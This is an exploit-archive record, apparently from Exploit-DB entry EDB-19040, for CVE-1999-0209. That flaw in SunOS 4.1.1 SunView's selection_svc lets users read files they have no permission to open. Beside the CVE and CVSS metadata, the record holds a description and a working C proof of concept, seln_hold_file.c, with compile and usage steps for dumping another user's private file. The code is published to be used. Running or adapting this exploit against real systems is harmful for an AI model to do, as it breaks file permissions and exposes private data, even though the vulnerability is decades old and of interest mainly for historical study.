{"exploit":{"id":"EDB-19040","name":"SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read","description":"SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read","cves":["CVE-1999-0209"],"author":"Peter Shipley","published":"1990-08-14","platform":"solaris","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19040","path":"exploits/solaris/remote/19040.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19040.txt","vulnerabilities":[{"id":"CVE-1999-0209","state":"PUBLISHED","title":null,"titleSource":null,"description":"The SunView (SunTools) selection_svc facility allows remote users to read files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0209","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0209"},"updatedAt":"2024-08-01T16:34:51.726Z","retrievedAt":"2026-11-26T13:05:17.198Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19040.png?v=2","url":"https://exploitbin.com/exploits/EDB-19040","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19040/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19040/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Source:  https://web.archive.org/web/1990/https://www.securityfocus.com/bid/8/info\n\nOn Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.\n\nSunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.\n\n/* SELN_HOLD_FILE\n * For use where someone has a selection_svc runnning as them, after an\n * invocation of suntools:\n *\n * % cat their_private_file\n * their_private_file: Permission denied\n * % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow\n * % ./seln_hold_file their_private_file\n * % get_selection 2\n * < contents of their_private_file >\n * %\n */\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <suntool/seln.h>\n\nmain(argc, argv)\n  int argc;\n  char *argv[];\n{\n  Seln_result     ret;\n\n  if (argc != 2) {\n    (void) fprintf(stderr, \"usage: seln_grab file1\\n\");\n    exit(1);\n  }\n\n  ret = seln_hold_file(SELN_SECONDARY, argv[1]);\n  seln_dump_result(stdout, &ret);\n  printf(\"\\n\");\n}\n\n/*\n * Local variables:\n * compile-command: \"cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun\ntool -lsunwindow\"\n * end:\n *\n * Static required because _mem_ops not included in ld.so\n */","sha256":"fef8f486997cfa9ea52e19baef891a4675c8c3aba7c184e41745e0ab2b0d39e2","bytes":1662,"fetchedAt":"2026-11-26T22:09:10.415Z","encoding":"utf-8 (display only; download retains original bytes)"}